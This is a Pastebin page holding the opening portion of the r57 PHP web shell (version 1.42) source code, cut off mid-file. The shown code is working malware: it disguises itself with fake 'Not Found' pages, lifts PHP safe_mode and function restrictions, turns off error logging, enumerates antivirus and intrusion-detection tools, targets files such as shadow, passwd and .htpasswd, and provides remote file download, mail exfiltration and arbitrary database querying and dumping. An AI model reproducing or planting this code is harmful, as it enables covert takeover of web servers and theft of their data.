dramagod

r57 shell

Feb 9th, 2013
406
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 195.32 KB | None | 0 0
  1. <?php
  2.  
  3. if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}
  4.  
  5. $language='eng';
  6.  
  7. $auth = 0;
  8.  
  9. $name='';
  10. $pass='';
  11.  
  12. //ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
  13. @setlocale(LC_ALL,'ru_RU.cp1251');
  14.  
  15. @ini_restore("safe_mode");
  16. @ini_restore("open_basedir");
  17. @ini_restore("safe_mode_include_dir");
  18. @ini_restore("safe_mode_exec_dir");
  19. @ini_restore("disable_functions");
  20. @ini_restore("allow_url_fopen");
  21.  
  22. if(@function_exists('ini_set'))
  23. {
  24. @ini_set('error_log',NULL);
  25. @ini_set('log_errors',0);
  26. @ini_set('file_uploads',1);
  27. @ini_set('allow_url_fopen',1);
  28. }
  29. else
  30. {
  31. @ini_alter('error_log',NULL);
  32. @ini_alter('log_errors',0);
  33. @ini_alter('file_uploads',1);
  34. @ini_alter('allow_url_fopen',1);
  35. }
  36.  
  37. error_reporting(E_ALL);
  38.  
  39. /* ??? ????? */
  40. $userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
  41. $danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
  42. $tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
  43. $downloaders = array('wget','fetch','lynx','links','curl','get');
  44.  
  45. /* ??? ?????? ???????? ???? ????? realpath() */
  46. //$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  47. //$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
  48. //$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  49. //$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
  50. //$chars_rlph = "_-.01234567890";
  51. $chars_rlph = "abcdefghijklnmopqrstuvwxyz";
  52.  
  53. $presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
  54. 'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
  55. 'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
  56. 'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
  57.  
  58. /******************************************************************************************************/
  59.  
  60. define("starttime",@getmicrotime());
  61.  
  62. if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
  63.  
  64. set_magic_quotes_runtime(0);
  65. @set_time_limit(0);
  66. if(@function_exists('ini_set'))
  67. {
  68. @ini_set('max_execution_time',0);
  69. @ini_set('output_buffering',0);
  70. }
  71. else
  72. {
  73. @ini_alter('max_execution_time',0);
  74. @ini_alter('output_buffering',0);
  75. }
  76. $safe_mode = @ini_get('safe_mode');
  77. #if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
  78. $version = '1.42';
  79. if(@version_compare(@phpversion(), '4.1.0') == -1)
  80. {
  81. $_POST = &$HTTP_POST_VARS;
  82. $_GET = &$HTTP_GET_VARS;
  83. $_SERVER = &$HTTP_SERVER_VARS;
  84. $_COOKIE = &$HTTP_COOKIE_VARS;
  85. }
  86. if (@get_magic_quotes_gpc())
  87. {
  88. foreach ($_POST as $k=>$v)
  89. {
  90. $_POST[$k] = stripslashes($v);
  91. }
  92. foreach ($_COOKIE as $k=>$v)
  93. {
  94. $_COOKIE[$k] = stripslashes($v);
  95. }
  96. }
  97.  
  98. if($auth == 1) {
  99. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  100. {
  101. header('WWW-Authenticate: Basic realm="HELLO!"');
  102. header('HTTP/1.0 401 Unauthorized');
  103. exit("<h1>Access Denied</h1>");
  104. }
  105. }
  106.  
  107. if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
  108. $tempdir='./';
  109. $select_tempdir = '<select name=tempdir><option value="./">./</option>';
  110. foreach( $tempdirs as $item) {
  111. if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}
  112. }
  113. $select_tempdir .= '</select>';
  114. setcookie('tempdir',$tempdir);
  115. setcookie('select_tempdir',$select_tempdir);
  116. }else{
  117. if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}
  118. $select_tempdir = $_COOKIE['select_tempdir'];
  119. }
  120.  
  121. $head = '
  122. <html>
  123. <head>
  124. <title>Not Found</title>
  125. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  126.  
  127. <STYLE>
  128. tr {
  129. BORDER-RIGHT: #aaaaaa 1px solid;
  130. BORDER-TOP: #eeeeee 1px solid;
  131. BORDER-LEFT: #eeeeee 1px solid;
  132. BORDER-BOTTOM: #aaaaaa 1px solid;
  133. color: #000000;
  134. }
  135. td {
  136. BORDER-RIGHT: #aaaaaa 1px solid;
  137. BORDER-TOP: #eeeeee 1px solid;
  138. BORDER-LEFT: #eeeeee 1px solid;
  139. BORDER-BOTTOM: #aaaaaa 1px solid;
  140. color: #000000;
  141. }
  142. .table1 {
  143. BORDER: 0px;
  144. BACKGROUND-COLOR: #D4D0C8;
  145. color: #000000;
  146. }
  147. .td1 {
  148. BORDER: 0px;
  149. font: 7pt Verdana;
  150. color: #000000;
  151. }
  152. .tr1 {
  153. BORDER: 0px;
  154. color: #000000;
  155. }
  156. table {
  157. BORDER: #eeeeee 1px outset;
  158. BACKGROUND-COLOR: #D4D0C8;
  159. color: #000000;
  160. }
  161. input {
  162. BORDER-RIGHT: #ffffff 1px solid;
  163. BORDER-TOP: #999999 1px solid;
  164. BORDER-LEFT: #999999 1px solid;
  165. BORDER-BOTTOM: #ffffff 1px solid;
  166. BACKGROUND-COLOR: #e4e0d8;
  167. font: 8pt Verdana;
  168. color: #000000;
  169. }
  170. select {
  171. BORDER-RIGHT: #ffffff 1px solid;
  172. BORDER-TOP: #999999 1px solid;
  173. BORDER-LEFT: #999999 1px solid;
  174. BORDER-BOTTOM: #ffffff 1px solid;
  175. BACKGROUND-COLOR: #e4e0d8;
  176. font: 8pt Verdana;
  177. color: #000000;;
  178. }
  179. submit {
  180. BORDER: buttonhighlight 2px outset;
  181. BACKGROUND-COLOR: #e4e0d8;
  182. width: 30%;
  183. color: #000000;
  184. }
  185. textarea {
  186. BORDER-RIGHT: #ffffff 1px solid;
  187. BORDER-TOP: #999999 1px solid;
  188. BORDER-LEFT: #999999 1px solid;
  189. BORDER-BOTTOM: #ffffff 1px solid;
  190. BACKGROUND-COLOR: #e4e0d8;
  191. font: Fixedsys bold;
  192. color: #000000;
  193. }
  194. BODY {
  195. margin: 1px;
  196. color: #000000;
  197. background-color: #e4e0d8;
  198. }
  199. A:link {COLOR:red; TEXT-DECORATION: none}
  200. A:visited { COLOR:red; TEXT-DECORATION: none}
  201. A:active {COLOR:red; TEXT-DECORATION: none}
  202. A:hover {color:blue;TEXT-DECORATION: none}
  203. </STYLE>
  204. <script language=\'javascript\'>
  205. function hide_div(id)
  206. {
  207. document.getElementById(id).style.display = \'none\';
  208. document.cookie=id+\'=0;\';
  209. }
  210. function show_div(id)
  211. {
  212. document.getElementById(id).style.display = \'block\';
  213. document.cookie=id+\'=1;\';
  214. }
  215. function change_divst(id)
  216. {
  217. if (document.getElementById(id).style.display == \'none\')
  218. show_div(id);
  219. else
  220. hide_div(id);
  221. }
  222.  
  223.  
  224. </script>';
  225. class zipfile
  226. {
  227. var $datasec = array();
  228. var $ctrl_dir = array();
  229. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  230. var $old_offset = 0;
  231. function unix2DosTime($unixtime = 0) {
  232. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  233. if ($timearray['year'] < 1980) {
  234. $timearray['year'] = 1980;
  235. $timearray['mon'] = 1;
  236. $timearray['mday'] = 1;
  237. $timearray['hours'] = 0;
  238. $timearray['minutes'] = 0;
  239. $timearray['seconds'] = 0;
  240. }
  241. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  242. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  243. }
  244. function addFile($data, $name, $time = 0)
  245. {
  246. $name = str_replace('\\', '/', $name);
  247. $dtime = dechex($this->unix2DosTime($time));
  248. $hexdtime = '\x' . $dtime[6] . $dtime[7]
  249. . '\x' . $dtime[4] . $dtime[5]
  250. . '\x' . $dtime[2] . $dtime[3]
  251. . '\x' . $dtime[0] . $dtime[1];
  252. eval('$hexdtime = "' . $hexdtime . '";');
  253. $fr = "\x50\x4b\x03\x04";
  254. $fr .= "\x14\x00";
  255. $fr .= "\x00\x00";
  256. $fr .= "\x08\x00";
  257. $fr .= $hexdtime;
  258. $unc_len = strlen($data);
  259. $crc = crc32($data);
  260. $zdata = gzcompress($data);
  261. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  262. $c_len = strlen($zdata);
  263. $fr .= pack('V', $crc);
  264. $fr .= pack('V', $c_len);
  265. $fr .= pack('V', $unc_len);
  266. $fr .= pack('v', strlen($name));
  267. $fr .= pack('v', 0);
  268. $fr .= $name;
  269. $fr .= $zdata;
  270. $this -> datasec[] = $fr;
  271. $cdrec = "\x50\x4b\x01\x02";
  272. $cdrec .= "\x00\x00";
  273. $cdrec .= "\x14\x00";
  274. $cdrec .= "\x00\x00";
  275. $cdrec .= "\x08\x00";
  276. $cdrec .= $hexdtime;
  277. $cdrec .= pack('V', $crc);
  278. $cdrec .= pack('V', $c_len);
  279. $cdrec .= pack('V', $unc_len);
  280. $cdrec .= pack('v', strlen($name) );
  281. $cdrec .= pack('v', 0 );
  282. $cdrec .= pack('v', 0 );
  283. $cdrec .= pack('v', 0 );
  284. $cdrec .= pack('v', 0 );
  285. $cdrec .= pack('V', 32 );
  286. $cdrec .= pack('V', $this -> old_offset );
  287. $this -> old_offset += strlen($fr);
  288. $cdrec .= $name;
  289. $this -> ctrl_dir[] = $cdrec;
  290. }
  291. function file()
  292. {
  293. $data = implode('', $this -> datasec);
  294. $ctrldir = implode('', $this -> ctrl_dir);
  295. return
  296. $data .
  297. $ctrldir .
  298. $this -> eof_ctrl_dir .
  299. pack('v', sizeof($this -> ctrl_dir)) .
  300. pack('v', sizeof($this -> ctrl_dir)) .
  301. pack('V', strlen($ctrldir)) .
  302. pack('V', strlen($data)) .
  303. "\x00\x00";
  304. }
  305. }
  306.  
  307. function compress(&$filename,&$filedump,$compress)
  308. {
  309. global $content_encoding;
  310. global $mime_type;
  311. if ($compress == 'bzip' && @function_exists('bzcompress'))
  312. {
  313. $filename .= '.bz2';
  314. $mime_type = 'application/x-bzip2';
  315. $filedump = bzcompress($filedump);
  316. }
  317. else if ($compress == 'gzip' && @function_exists('gzencode'))
  318. {
  319. $filename .= '.gz';
  320. $content_encoding = 'x-gzip';
  321. $mime_type = 'application/x-gzip';
  322. $filedump = gzencode($filedump);
  323. }
  324. else if ($compress == 'zip' && @function_exists('gzcompress'))
  325. {
  326. $filename .= '.zip';
  327. $mime_type = 'application/zip';
  328. $zipfile = new zipfile();
  329. $zipfile -> addFile($filedump, substr($filename, 0, -4));
  330. $filedump = $zipfile -> file();
  331. }
  332. else
  333. {
  334. $mime_type = 'application/octet-stream';
  335. }
  336. }
  337.  
  338. function moreread($temp){
  339. global $lang,$language;
  340. $str='';
  341. if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){
  342. if($ffile){
  343. while(!@feof($ffile)){$str .= @fgets($ffile);};
  344. fclose($ffile);
  345. }
  346. }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
  347. if($ffile){
  348. $str = @fread($ffile, @filesize($temp));
  349. @fclose($ffile);
  350. }
  351. }elseif(@function_exists('file')&&($ffiles = @file($temp))){
  352. foreach ($ffiles as $ffile) { $str .= $ffile; }
  353. }elseif(@function_exists('file_get_contents')){
  354. $str = @file_get_contents($temp);
  355. }elseif(@function_exists('readfile')){
  356. $str = @readfile($temp);
  357. }elseif(@function_exists('highlight_file')){
  358. $str = @highlight_file($temp);
  359. }elseif(@function_exists('show_source')){
  360. $str = @show_source($temp);
  361. }else{echo $lang[$language.'_text56'];}
  362. return $str;
  363. }
  364.  
  365. function readzlib($filename,$temp=''){
  366. global $lang,$language;
  367. $str='';
  368. if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
  369. if(@copy("compress.zlib://".$filename, $temp)) {
  370. $str = moreread($temp);
  371. } else echo $lang[$language.'_text119'];
  372. @unlink($temp);
  373. return $str;
  374. }
  375.  
  376. function morewrite($temp,$str='')
  377. {
  378. global $lang,$language;
  379. if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
  380. if($ffile){
  381. @fwrite($ffile,$str);
  382. @fclose($ffile);
  383. }
  384. }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
  385. if($ffile){
  386. @fputs($ffile,$str);
  387. @fclose($ffile);
  388. }
  389. }elseif(@function_exists('file_put_contents')){
  390. @file_put_contents($temp,$str);
  391. }else return 0;
  392. return 1;
  393. }
  394.  
  395. function mailattach($to,$from,$subj,$attach)
  396. {
  397. $headers = "From: $from\r\n";
  398. $headers .= "MIME-Version: 1.0\r\n";
  399. $headers .= "Content-Type: ".$attach['type'];
  400. $headers .= "; name=\"".$attach['name']."\"\r\n";
  401. $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  402. $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  403. if(mail($to,$subj,"",$headers)) { return 1; }
  404. return 0;
  405. }
  406. class my_sql
  407. {
  408. var $host = 'localhost';
  409. var $port = '';
  410. var $user = '';
  411. var $pass = '';
  412. var $base = '';
  413. var $db = '';
  414. var $connection;
  415. var $res;
  416. var $error;
  417. var $rows;
  418. var $columns;
  419. var $num_rows;
  420. var $num_fields;
  421. var $dump;
  422.  
  423. function connect()
  424. {
  425. switch($this->db)
  426. {
  427. case 'MySQL':
  428. if(empty($this->port)) { $this->port = '3306'; }
  429. if(!@function_exists('mysql_connect')) return 0;
  430. $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
  431. if(is_resource($this->connection)) return 1;
  432. break;
  433. case 'MSSQL':
  434. if(empty($this->port)) { $this->port = '1433'; }
  435. if(!@function_exists('mssql_connect')) return 0;
  436. $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
  437. if($this->connection) return 1;
  438. break;
  439. case 'PostgreSQL':
  440. if(empty($this->port)) { $this->port = '5432'; }
  441. $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
  442. if(!@function_exists('pg_connect')) return 0;
  443. $this->connection = @pg_connect($str);
  444. if(is_resource($this->connection)) return 1;
  445. break;
  446. case 'Oracle':
  447. if(!@function_exists('ocilogon')) return 0;
  448. $this->connection = @ocilogon($this->user, $this->pass, $this->base);
  449. if(is_resource($this->connection)) return 1;
  450. break;
  451. case 'MySQLi':
  452. if(empty($this->port)) { $this->port = '3306'; }
  453. if(!@function_exists('mysqli_connect')) return 0;
  454. $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port);
  455. if(is_resource($this->connection)) return 1;
  456. break;
  457. case 'mSQL':
  458. if(!@function_exists('msql_connect')) return 0;
  459. $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass);
  460. if(is_resource($this->connection)) return 1;
  461. break;
  462. case 'SQLite':
  463. if(!@function_exists('sqlite_open')) return 0;
  464. $this->connection = @sqlite_open($this->base);
  465. if(is_resource($this->connection)) return 1;
  466. break;
  467. }
  468. return 0;
  469. }
  470.  
  471. function select_db()
  472. {
  473. switch($this->db)
  474. {
  475. case 'MySQL':
  476. if(@mysql_select_db($this->base,$this->connection)) return 1;
  477. break;
  478. case 'MSSQL':
  479. if(@mssql_select_db($this->base,$this->connection)) return 1;
  480. break;
  481. case 'PostgreSQL':
  482. return 1;
  483. break;
  484. case 'Oracle':
  485. return 1;
  486. break;
  487. case 'MySQLi':
  488. return 1;
  489. break;
  490. case 'mSQL':
  491. if(@msql_select_db($this->base,$this->connection)) return 1;
  492. break;
  493. case 'SQLite':
  494. return 1;
  495. break;
  496. }
  497. return 0;
  498. }
  499.  
  500. function query($query)
  501. {
  502. $this->res=$this->error='';
  503. switch($this->db)
  504. {
  505. case 'MySQL':
  506. if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  507. {
  508. $this->error = @mysql_error($this->connection);
  509. return 0;
  510. }
  511. else if(is_resource($this->res)) { return 1; }
  512. return 2;
  513. break;
  514. case 'MSSQL':
  515. if(false===($this->res=@mssql_query($query,$this->connection)))
  516. {
  517. $this->error = 'Query error';
  518. return 0;
  519. }
  520. else if(@mssql_num_rows($this->res) > 0) { return 1; }
  521. return 2;
  522. break;
  523. case 'PostgreSQL':
  524. if(false===($this->res=@pg_query($this->connection,$query)))
  525. {
  526. $this->error = @pg_last_error($this->connection);
  527. return 0;
  528. }
  529. else if(@pg_num_rows($this->res) > 0) { return 1; }
  530. return 2;
  531. break;
  532. case 'Oracle':
  533. if(false===($this->res=@ociparse($this->connection,$query)))
  534. {
  535. $this->error = 'Query parse error';
  536. }
  537. else
  538. {
  539. if(@ociexecute($this->res))
  540. {
  541. if(@ocirowcount($this->res) != 0) return 2;
  542. return 1;
  543. }
  544. $error = @ocierror();
  545. $this->error=$error['message'];
  546. }
  547. break;
  548. case 'MySQLi':
  549. if(false===($this->res=@mysqli_query($this->connection,$query)))
  550. {
  551. $this->error = @mysqli_error($this->connection);
  552. return 0;
  553. }
  554. else if(is_resource($this->res)) { return 1; }
  555. return 2;
  556. break;
  557. case 'mSQL':
  558. if(false===($this->res=@msql_query($query,$this->connection)))
  559. {
  560. $this->error = @msql_error($this->connection);
  561. return 0;
  562. }
  563. else if(is_resource($this->res)) { return 1; }
  564. return 2;
  565. break;
  566. case 'SQLite':
  567. if(false===($this->res=@sqlite_query($this->connection,$query)))
  568. {
  569. $this->error = @sqlite_error_string($this->connection);
  570. return 0;
  571. }
  572. else if(is_resource($this->res)) { return 1; }
  573. return 2;
  574. break;
  575. }
  576. return 0;
  577. }
  578. function get_result()
  579. {
  580. $this->rows=array();
  581. $this->columns=array();
  582. $this->num_rows=$this->num_fields=0;
  583. switch($this->db)
  584. {
  585. case 'MySQL':
  586. $this->num_rows=@mysql_num_rows($this->res);
  587. $this->num_fields=@mysql_num_fields($this->res);
  588. while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  589. @mysql_free_result($this->res);
  590. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  591. break;
  592. case 'MSSQL':
  593. $this->num_rows=@mssql_num_rows($this->res);
  594. $this->num_fields=@mssql_num_fields($this->res);
  595. while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  596. @mssql_free_result($this->res);
  597. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  598. break;
  599. case 'PostgreSQL':
  600. $this->num_rows=@pg_num_rows($this->res);
  601. $this->num_fields=@pg_num_fields($this->res);
  602. while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  603. @pg_free_result($this->res);
  604. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  605. break;
  606. case 'Oracle':
  607. $this->num_fields=@ocinumcols($this->res);
  608. while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
  609. @ocifreestatement($this->res);
  610. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  611. break;
  612. case 'MySQLi':
  613. $this->num_rows=@mysqli_num_rows($this->res);
  614. $this->num_fields=@mysqli_num_fields($this->res);
  615. while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
  616. @mysqli_free_result($this->res);
  617. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  618. break;
  619. case 'mSQL':
  620. $this->num_rows=@msql_num_rows($this->res);
  621. $this->num_fields=@msql_num_fields($this->res);
  622. while(false !== ($this->rows[] = @msql_fetch_array($this->res)));
  623. @msql_free_result($this->res);
  624. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  625. break;
  626. case 'SQLite':
  627. $this->num_rows=@sqlite_num_rows($this->res);
  628. $this->num_fields=@sqlite_num_fields($this->res);
  629. while(false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
  630. if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  631. break;
  632. }
  633. return 0;
  634. }
  635. function dump($table)
  636. {
  637. if(empty($table)) return 0;
  638. $this->dump=array();
  639. $this->dump[0] = '##';
  640. $this->dump[1] = '## --------------------------------------- ';
  641. $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
  642. $this->dump[3] = '## Database: '.$this->base;
  643. $this->dump[4] = '## Table: '.$table;
  644. $this->dump[5] = '## --------------------------------------- ';
  645. switch($this->db)
  646. {
  647. case 'MySQL':
  648. $this->dump[0] = '## MySQL dump';
  649. if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  650. if(!$this->get_result()) return 0;
  651. $this->dump[] = $this->rows[0]['Create Table'];
  652. $this->dump[] = '## --------------------------------------- ';
  653. if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  654. if(!$this->get_result()) return 0;
  655. for($i=0;$i<$this->num_rows;$i++)
  656. {
  657. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
  658. $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  659. }
  660. break;
  661. case 'MSSQL':
  662. $this->dump[0] = '## MSSQL dump';
  663. if($this->query('SELECT * FROM '.$table)!=1) return 0;
  664. if(!$this->get_result()) return 0;
  665. for($i=0;$i<$this->num_rows;$i++)
  666. {
  667. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  668. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  669. }
  670. break;
  671. case 'PostgreSQL':
  672. $this->dump[0] = '## PostgreSQL dump';
  673. if($this->query('SELECT * FROM '.$table)!=1) return 0;
  674. if(!$this->get_result()) return 0;
  675. for($i=0;$i<$this->num_rows;$i++)
  676. {
  677. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  678. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  679. }
  680. break;
  681. case 'Oracle':
  682. $this->dump[0] = '## ORACLE dump';
  683. if($this->query('SELECT * FROM '.$table)!=1) return 0;
  684. if(!$this->get_result()) return 0;
  685. for($i=0;$i<$this->num_rows;$i++)
  686. {
  687. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  688. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  689. }
  690. break;
  691. case 'MySQLi':
  692. $this->dump[0] = '## MySQLi dump';
  693. if($this->query('SELECT * FROM '.$table)!=1) return 0;
  694. if(!$this->get_result()) return 0;
  695. for($i=0;$i<$this->num_rows;$i++)
  696. {
  697. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);}
  698. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  699. }
  700. break;
  701. case 'mSQL':
  702. $this->dump[0] = '## mSQL dump';
  703. if($this->query('SELECT * FROM '.$table)!=1) return 0;
  704. if(!$this->get_result()) return 0;
  705. for($i=0;$i<$this->num_rows;$i++)
  706. {
  707. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  708. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  709. }
  710. break;
  711. case 'SQLite':
  712. $this->dump[0] = '## SQLite dump';
  713. if($this->query('SELECT * FROM '.$table)!=1) return 0;
  714. if(!$this->get_result()) return 0;
  715. for($i=0;$i<$this->num_rows;$i++)
  716. {
  717. foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  718. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  719. }
  720. break;
  721. default:
  722. return 0;
  723. break;
  724. }
  725. return 1;
  726. }
  727. function close()
  728. {
  729. switch($this->db)
  730. {
  731. case 'MySQL':
  732. @mysql_close($this->connection);
  733. break;
  734. case 'MSSQL':
  735. @mssql_close($this->connection);
  736. break;
  737. case 'PostgreSQL':
  738. @pg_close($this->connection);
  739. break;
  740. case 'Oracle':
  741. @oci_close($this->connection);
  742. break;
  743. case 'MySQLi':
  744. @mysqli_close($this->connection);
  745. break;
  746. case 'mSQL':
  747. @msql_close($this->connection);
  748. break;
  749. case 'SQLite':
  750. @sqlite_close($this->connection);
  751. break;
  752. }
  753. }
  754. function affected_rows()
  755. {
  756. switch($this->db)
  757. {
  758. case 'MySQL':
  759. return @mysql_affected_rows($this->res);
  760. break;
  761. case 'MSSQL':
  762. return @mssql_affected_rows($this->res);
  763. break;
  764. case 'PostgreSQL':
  765. return @pg_affected_rows($this->res);
  766. break;
  767. case 'Oracle':
  768. return @ocirowcount($this->res);
  769. break;
  770. case 'MySQLi':
  771. return @mysqli_affected_rows($this->res);
  772. break;
  773. case 'mSQL':
  774. return @msql_affected_rows($this->res);
  775. break;
  776. case 'SQLite':
  777. return @sqlite_changes($this->res);
  778. break;
  779. default:
  780. return 0;
  781. break;
  782. }
  783. }
  784. }
  785. if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  786. {
  787. if($file=moreread($_POST['d_name'])){ $filedump = $file; }
  788. else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  789. if(!empty($_POST['cmd']))
  790. {
  791. @ob_clean();
  792. $filename = @basename($_POST['d_name']);
  793. $content_encoding=$mime_type='';
  794. compress($filename,$filedump,$_POST['compress']);
  795. if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  796. header("Content-type: ".$mime_type);
  797. header("Content-disposition: attachment; filename=\"".$filename."\";");
  798. echo $filedump;
  799. exit();
  800. }
  801. }
  802. if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
  803. if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
  804. {
  805. echo $head;
  806. $sql = new my_sql();
  807. $sql->db = $_POST['db'];
  808. $sql->host = $_POST['db_server'];
  809. $sql->port = $_POST['db_port'];
  810. $sql->user = $_POST['mysql_l'];
  811. $sql->pass = $_POST['mysql_p'];
  812. $sql->base = $_POST['mysql_db'];
  813. $querys = @explode(';',$_POST['db_query']);
  814. echo '<body bgcolor=#e4e0d8>';
  815. if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  816. else
  817. {
  818. if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
  819. else
  820. {
  821. foreach($querys as $num=>$query)
  822. {
  823. if(strlen($query)>5)
  824. {
  825. echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
  826. switch($sql->query($query))
  827. {
  828. case '0':
  829. echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
  830. break;
  831. case '1':
  832. if($sql->get_result())
  833. {
  834. echo "<table width=100%>";
  835. foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
